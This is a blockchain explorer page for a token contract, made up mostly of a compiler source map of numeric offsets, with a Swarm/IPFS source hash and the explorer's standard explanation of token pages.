2089:5222:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7032:86;7102:8;;;;;;;;;;;;-1:-1:-1;;;7102:8:0;;;;7032:86;;;;;;;:::i;:::-;;;;;;;;6041:246;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;6041:246:0;1004:187:1;6919:105:0;;;:::i;:::-;;;1342:25:1;;;1330:2;1315:18;6919:105:0;1196:177:1;4422:734:0;;;;;;:::i;:::-;;:::i;6295:616::-;;;;;;:::i;:::-;;:::i;1557:106::-;1612:7;1639:16;-1:-1:-1;;;;;1639:16:0;1557:106;;;-1:-1:-1;;;;;4791:32:1;;;4773:51;;4761:2;4746:18;1557:106:0;4627:203:1;7221:87:0;2518:2;7221:87;;;5007:4:1;4995:17;;;4977:36;;4965:2;4950:18;7221:87:0;4835:184:1;2946:111:0;3035:14;;-1:-1:-1;;;;;3035:14:0;2946:111;;2437:36;;;;;;;;;;;;;;;-1:-1:-1;;;2437:36:0;;;;;5164:119;;;;;;:::i;:::-;-1:-1:-1;;;;;5257:18:0;5230:7;5257:18;;;:9;:18;;;;;;;5164:119;1832:250;;;:::i;:::-;;3065:112;;;;;;:::i;:::-;;:::i;2480:40::-;;2518:2;2480:40;;5291:566;;;;;;:::i;:::-;;:::i;3417:229::-;;;;;;:::i;:::-;;:::i;2527:74::-;;;:::i;3275:134::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3370:31:0;3343:7;3370:31;;;:22;:31;;;;;;;3275:134;3654:596;;;;;;:::i;:::-;;:::i;5865:168::-;;;;;;:::i;:::-;-1:-1:-1;;;;;5986:30:0;;;5959:7;5986:30;;;:18;:30;;;;;;;;:39;;;;;;;;;;;;;5865:168;4258:156;;;;;;:::i;:::-;;:::i;6041:246::-;1184:10;6121:4;6138:42;;;:18;:42;;;;;;;;-1:-1:-1;;;;;6138:51:0;;;;;;;;;;;:57;;;6211:46;;1342:25:1;;;6121:4:0;;6138:51;;1184:10;;6211:46;;1315:18:1;6211:46:0;;;;;;;-1:-1:-1;6275:4:0;6041:246;;;;;:::o;6919:105::-;6974:7;2581:19;2518:2;2581;:19;:::i;:::-;2569:32;;:8;:32;:::i;:::-;6994:22;;6919:105;:::o;4422:734::-;4649:4;;4666:461;4690:10;:17;4686:1;:21;4666:461;;;4756:10;4767:1;4756:13;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;4734:53:0;4743:11;-1:-1:-1;;;;;4734:53:0;-1:-1:-1;;;;;;;;;;;4771:12:0;4784:1;4771:15;;;;;;;;:::i;:::-;;;;;;;4734:53;;;;1342:25:1;;1330:2;1315:18;;1196:177;4734:53:0;;;;;;;;4998:10;5009:1;4998:13;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;4807:219:0;4830:42;-1:-1:-1;;;;;4807:219:0;;4891:12;4904:1;4891:15;;;;;;;;:::i;:::-;;;;;;;4925:1;4945;4965:11;4977:1;4965:14;;;;;;;;:::i;:::-;;;;;;;;;;;;4807:219;;;8662:25:1;;;8703:18;;;8696:34;;;;8746:18;;8739:34;8804:2;8789:18;;8782:34;8649:3;8634:19;4807:219:0;;;;;;;5048:12;-1:-1:-1;;;;;5041:30:0;;5072:10;5083:1;5072:13;;;;;;;;:::i;:::-;;;;;;;5087:11;5100;5112:1;5100:14;;;;;;;;:::i;:::-;;;;;;;;;;;5041:74;;-1:-1:-1;;;;;;5041:74:0;;;;;;;-1:-1:-1;;;;;9085:15:1;;;5041:74:0;;;9067:34:1;9137:15;;;;9117:18;;;9110:43;9169:18;;;9162:34;9002:18;;5041:74:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;4709:3:0;;;;:::i;:::-;;;;4666:461;;;-1:-1:-1;5144:4:0;;4422:734;-1:-1:-1;;;;;;4422:734:0:o;6295:616::-;-1:-1:-1;;;;;6414:24:0;;6389:4;6414:24;;;:18;:24;;;;;;;;1184:10;6414:48;;;;;;;;:55;-1:-1:-1;6414:55:0;6406:93;;;;-1:-1:-1;;;6406:93:0;;9831:2:1;6406:93:0;;;9813:21:1;9870:2;9850:18;;;9843:30;9909:27;9889:18;;;9882:55;9954:18;;6406:93:0;;;;;;;;;-1:-1:-1;;;;;3370:31:0;;6512:28;3370:31;;;:22;:31;;;;;;6584:24;;6580:129;;6640:20;6633:3;:27;6625:72;;;;-1:-1:-1;;;6625:72:0;;10185:2:1;6625:72:0;;;10167:21:1;;;10204:18;;;10197:30;10263:34;10243:18;;;10236:62;10315:18;;6625:72:0;9983:356:1;6625:72:0;-1:-1:-1;;;;;6721:15:0;;;;;;:9;:15;;;;;:22;;6740:3;;6721:15;:22;;6740:3;;6721:22;:::i;:::-;;;;-1:-1:-1;;;;;;;6754:13:0;;;;;;:9;:13;;;;;:20;;6771:3;;6754:13;:20;;6771:3;;6754:20;:::i;:::-;;;;-1:-1:-1;;;;;;;6785:24:0;;;;;;:18;:24;;;;;;;;1184:10;6785:48;;;;;;;:55;;6837:3;;6785:24;:55;;6837:3;;6785:55;:::i;:::-;;;;;;;;6873:2;-1:-1:-1;;;;;6858:23:0;6867:4;-1:-1:-1;;;;;6858:23:0;-1:-1:-1;;;;;;;;;;;6877:3:0;6858:23;;;;1342:25:1;;1330:2;1315:18;;1196:177;6858:23:0;;;;;;;;-1:-1:-1;6899:4:0;;6295:616;-1:-1:-1;;;;6295:616:0:o;1832:250::-;1612:7;1639:16;-1:-1:-1;;;;;1639:16:0;1184:10;1714:42;1706:98;;;;-1:-1:-1;;;1706:98:0;;;;;;;:::i;:::-;1923:16:::1;::::0;;1905:88:::1;::::0;1949:42:::1;::::0;-1:-1:-1;;;;;1923:16:0;;::::1;::::0;1905:88:::1;::::0;::::1;2004:16;:70:::0;;-1:-1:-1;;;;;;2004:70:0::1;2031:42;2004:70;::::0;;1832:250::o;3065:112::-;1612:7;1639:16;-1:-1:-1;;;;;1639:16:0;1184:10;1714:42;1706:98;;;;-1:-1:-1;;;1706:98:0;;;;;;;:::i;:::-;3142:14:::1;:27:::0;;-1:-1:-1;;;;;;3142:27:0::1;-1:-1:-1::0;;;;;3142:27:0;;;::::1;::::0;;;::::1;::::0;;3065:112::o;5291:566::-;1184:10;5367:4;5392:33;;;:9;:33;;;;;;:40;-1:-1:-1;5392:40:0;5384:73;;;;-1:-1:-1;;;5384:73:0;;11221:2:1;5384:73:0;;;11203:21:1;11260:2;11240:18;;;11233:30;-1:-1:-1;;;11279:18:1;;;11272:50;11339:18;;5384:73:0;11019:344:1;5384:73:0;5470:28;5501:44;1184:10;5522:22;1078:125;5501:44;5470:75;-1:-1:-1;5560:24:0;;5556:129;;5616:20;5609:3;:27;5601:72;;;;-1:-1:-1;;;5601:72:0;;10185:2:1;5601:72:0;;;10167:21:1;;;10204:18;;;10197:30;10263:34;10243:18;;;10236:62;10315:18;;5601:72:0;9983:356:1;5601:72:0;1184:10;5697:33;;;;:9;:33;;;;;:40;;5734:3;;5697:33;:40;;5734:3;;5697:40;:::i;:::-;;;;-1:-1:-1;;;;;;;5748:13:0;;;;;;:9;:13;;;;;:20;;5765:3;;5748:13;:20;;5765:3;;5748:20;:::i;:::-;;;;-1:-1:-1;;5786:41:0;;1342:25:1;;;-1:-1:-1;;;;;5786:41:0;;;1184:10;;-1:-1:-1;;;;;;;;;;;5786:41:0;1330:2:1;1315:18;5786:41:0;;;;;;;;-1:-1:-1;5845:4:0;;5291:566;-1:-1:-1;;;5291:566:0:o;3417:229::-;3035:14;;-1:-1:-1;;;;;3035:14:0;1184:10;2826:49;2818:100;;;;-1:-1:-1;;;2818:100:0;;;;;;;:::i;:::-;3533:6:::1;3528:111;3545:19:::0;;::::1;3528:111;;;3624:3;3586:22;:35;3609:8;;3618:1;3609:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;3586:35:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;3586:35:0;:41;3566:3;::::1;::::0;::::1;:::i;:::-;;;;3528:111;;;;3417:229:::0;;;:::o;2527:74::-;2581:19;2518:2;2581;:19;:::i;:::-;2569:32;;:8;:32;:::i;:::-;2527:74;:::o;3654:596::-;3035:14;;-1:-1:-1;;;;;3035:14:0;1184:10;2826:49;2818:100;;;;-1:-1:-1;;;2818:100:0;;;;;;;:::i;:::-;3851:9:::1;3846:397;3870:13;:20;3866:1;:24;3846:397;;;3912:19;3934:13;3948:1;3934:16;;;;;;;;:::i;:::-;;;;;;;3912:38;;3996:1;-1:-1:-1::0;;;;;3973:25:0::1;:11;-1:-1:-1::0;;;;;3973:25:0::1;::::0;3965:63:::1;;;::::0;-1:-1:-1;;;3965:63:0;;12333:2:1;3965:63:0::1;::::0;::::1;12315:21:1::0;12372:2;12352:18;;;12345:30;12411:27;12391:18;;;12384:55;12456:18;;3965:63:0::1;12131:349:1::0;3965:63:0::1;-1:-1:-1::0;;;;;4069:22:0;::::1;4045:21;4069:22:::0;;;:9:::1;:22;::::0;;;;;;;;;;4106:40;;;;4168:63;;12659:25:1;;;12700:18;;;12693:34;;;4069:22:0;;4168:63:::1;::::0;12632:18:1;4168:63:0::1;;;;;;;3897:346;;3892:3;;;;;:::i;:::-;;;;3846:397;;;;3654:596:::0;;:::o;4258:156::-;4334:4;4372:3;-1:-1:-1;;;;;4356:28:0;4365:5;-1:-1:-1;;;;;4356:28:0;-1:-1:-1;;;;;;;;;;;4377:6:0;4356:28;;;;1342:25:1;;1330:2;1315:18;;1196:177;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:127::-;1439:10;1434:3;1430:20;1427:1;1420:31;1470:4;1467:1;1460:15;1494:4;1491:1;1484:15;1510:275;1581:2;1575:9;1646:2;1627:13;;-1:-1:-1;;1623:27:1;1611:40;;1681:18;1666:34;;1702:22;;;1663:62;1660:88;;;1728:18;;:::i;:::-;1764:2;1757:22;1510:275;;-1:-1:-1;1510:275:1:o;1790:183::-;1850:4;1883:18;1875:6;1872:30;1869:56;;;1905:18;;:::i;:::-;-1:-1:-1;1950:1:1;1946:14;1962:4;1942:25;;1790:183::o;1978:668::-;2032:5;2085:3;2078:4;2070:6;2066:17;2062:27;2052:55;;2103:1;2100;2093:12;2052:55;2139:6;2126:20;2165:4;2189:60;2205:43;2245:2;2205:43;:::i;:::-;2189:60;:::i;:::-;2283:15;;;2369:1;2365:10;;;;2353:23;;2349:32;;;2314:12;;;;2393:15;;;2390:35;;;2421:1;2418;2411:12;2390:35;2457:2;2449:6;2445:15;2469:148;2485:6;2480:3;2477:15;2469:148;;;2551:23;2570:3;2551:23;:::i;:::-;2539:36;;2595:12;;;;2502;;2469:148;;;-1:-1:-1;2635:5:1;1978:668;-1:-1:-1;;;;;;1978:668:1:o;2651:662::-;2705:5;2758:3;2751:4;2743:6;2739:17;2735:27;2725:55;;2776:1;2773;2766:12;2725:55;2812:6;2799:20;2838:4;2862:60;2878:43;2918:2;2878:43;:::i;2862:60::-;2956:15;;;3042:1;3038:10;;;;3026:23;;3022:32;;;2987:12;;;;3066:15;;;3063:35;;;3094:1;3091;3084:12;3063:35;3130:2;3122:6;3118:15;3142:142;3158:6;3153:3;3150:15;3142:142;;;3224:17;;3212:30;;3262:12;;;;3175;;3142:142;;3318:971;3488:6;3496;3504;3512;3520;3573:3;3561:9;3552:7;3548:23;3544:33;3541:53;;;3590:1;3587;3580:12;3541:53;3613:29;3632:9;3613:29;:::i;:::-;3603:39;;3693:2;3682:9;3678:18;3665:32;3716:18;3757:2;3749:6;3746:14;3743:34;;;3773:1;3770;3763:12;3743:34;3796:61;3849:7;3840:6;3829:9;3825:22;3796:61;:::i;:::-;3786:71;;3910:2;3899:9;3895:18;3882:32;3866:48;;3939:2;3929:8;3926:16;3923:36;;;3955:1;3952;3945:12;3923:36;3978:63;4033:7;4022:8;4011:9;4007:24;3978:63;:::i;:::-;3968:73;;4094:2;4083:9;4079:18;4066:32;4050:48;;4123:2;4113:8;4110:16;4107:36;;;4139:1;4136;4129:12;4107:36;;4162:63;4217:7;4206:8;4195:9;4191:24;4162:63;:::i;:::-;4152:73;;;4244:39;4278:3;4267:9;4263:19;4244:39;:::i;:::-;4234:49;;3318:971;;;;;;;;:::o;4294:328::-;4371:6;4379;4387;4440:2;4428:9;4419:7;4415:23;4411:32;4408:52;;;4456:1;4453;4446:12;4408:52;4479:29;4498:9;4479:29;:::i;:::-;4469:39;;4527:38;4561:2;4550:9;4546:18;4527:38;:::i;:::-;4517:48;;4612:2;4601:9;4597:18;4584:32;4574:42;;4294:328;;;;;:::o;5024:186::-;5083:6;5136:2;5124:9;5115:7;5111:23;5107:32;5104:52;;;5152:1;5149;5142:12;5104:52;5175:29;5194:9;5175:29;:::i;:::-;5165:39;5024:186;-1:-1:-1;;;5024:186:1:o;5215:689::-;5310:6;5318;5326;5379:2;5367:9;5358:7;5354:23;5350:32;5347:52;;;5395:1;5392;5385:12;5347:52;5435:9;5422:23;5464:18;5505:2;5497:6;5494:14;5491:34;;;5521:1;5518;5511:12;5491:34;5559:6;5548:9;5544:22;5534:32;;5604:7;5597:4;5593:2;5589:13;5585:27;5575:55;;5626:1;5623;5616:12;5575:55;5666:2;5653:16;5692:2;5684:6;5681:14;5678:34;;;5708:1;5705;5698:12;5678:34;5763:7;5756:4;5746:6;5743:1;5739:14;5735:2;5731:23;5727:34;5724:47;5721:67;;;5784:1;5781;5774:12;5721:67;5815:4;5807:13;;;;5839:6;;-1:-1:-1;5877:20:1;;;;5864:34;;5215:689;-1:-1:-1;;;;5215:689:1:o;5909:416::-;6002:6;6010;6063:2;6051:9;6042:7;6038:23;6034:32;6031:52;;;6079:1;6076;6069:12;6031:52;6119:9;6106:23;6152:18;6144:6;6141:30;6138:50;;;6184:1;6181;6174:12;6138:50;6207:61;6260:7;6251:6;6240:9;6236:22;6207:61;:::i;:::-;6197:71;6315:2;6300:18;;;;6287:32;;-1:-1:-1;;;;5909:416:1:o;6330:260::-;6398:6;6406;6459:2;6447:9;6438:7;6434:23;6430:32;6427:52;;;6475:1;6472;6465:12;6427:52;6498:29;6517:9;6498:29;:::i;:::-;6488:39;;6546:38;6580:2;6569:9;6565:18;6546:38;:::i;:::-;6536:48;;6330:260;;;;;:::o;6595:127::-;6656:10;6651:3;6647:20;6644:1;6637:31;6687:4;6684:1;6677:15;6711:4;6708:1;6701:15;6727:422;6816:1;6859:5;6816:1;6873:270;6894:7;6884:8;6881:21;6873:270;;;6953:4;6949:1;6945:6;6941:17;6935:4;6932:27;6929:53;;;6962:18;;:::i;:::-;7012:7;7002:8;6998:22;6995:55;;;7032:16;;;;6995:55;7111:22;;;;7071:15;;;;6873:270;;;6877:3;6727:422;;;;;:::o;7154:806::-;7203:5;7233:8;7223:80;;-1:-1:-1;7274:1:1;7288:5;;7223:80;7322:4;7312:76;;-1:-1:-1;7359:1:1;7373:5;;7312:76;7404:4;7422:1;7417:59;;;;7490:1;7485:130;;;;7397:218;;7417:59;7447:1;7438:10;;7461:5;;;7485:130;7522:3;7512:8;7509:17;7506:43;;;7529:18;;:::i;:::-;-1:-1:-1;;7585:1:1;7571:16;;7600:5;;7397:218;;7699:2;7689:8;7686:16;7680:3;7674:4;7671:13;7667:36;7661:2;7651:8;7648:16;7643:2;7637:4;7634:12;7630:35;7627:77;7624:159;;;-1:-1:-1;7736:19:1;;;7768:5;;7624:159;7815:34;7840:8;7834:4;7815:34;:::i;:::-;7885:6;7881:1;7877:6;7873:19;7864:7;7861:32;7858:58;;;7896:18;;:::i;:::-;7934:20;;7154:806;-1:-1:-1;;;7154:806:1:o;7965:140::-;8023:5;8052:47;8093:4;8083:8;8079:19;8073:4;8052:47;:::i;8110:168::-;8183:9;;;8214;;8231:15;;;8225:22;;8211:37;8201:71;;8252:18;;:::i;8283:127::-;8344:10;8339:3;8335:20;8332:1;8325:31;8375:4;8372:1;8365:15;8399:4;8396:1;8389:15;9207:277;9274:6;9327:2;9315:9;9306:7;9302:23;9298:32;9295:52;;;9343:1;9340;9333:12;9295:52;9375:9;9369:16;9428:5;9421:13;9414:21;9407:5;9404:32;9394:60;;9450:1;9447;9440:12;9489:135;9528:3;9549:17;;;9546:43;;9569:18;;:::i;:::-;-1:-1:-1;9616:1:1;9605:13;;9489:135::o;10344:128::-;10411:9;;;10432:11;;;10429:37;;;10446:18;;:::i;10477:125::-;10542:9;;;10563:10;;;10560:36;;;10576:18;;:::i;10607:407::-;10809:2;10791:21;;;10848:2;10828:18;;;10821:30;10887:34;10882:2;10867:18;;10860:62;-1:-1:-1;;;10953:2:1;10938:18;;10931:41;11004:3;10989:19;;10607:407::o;11368:402::-;11570:2;11552:21;;;11609:2;11589:18;;;11582:30;11648:34;11643:2;11628:18;;11621:62;-1:-1:-1;;;11714:2:1;11699:18;;11692:36;11760:3;11745:19;;11368:402::o

Swarm Source

ipfs://b00d3ae7ef39937850159f1cccd22b60784be17b52afd557ebde6076115a93e9
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.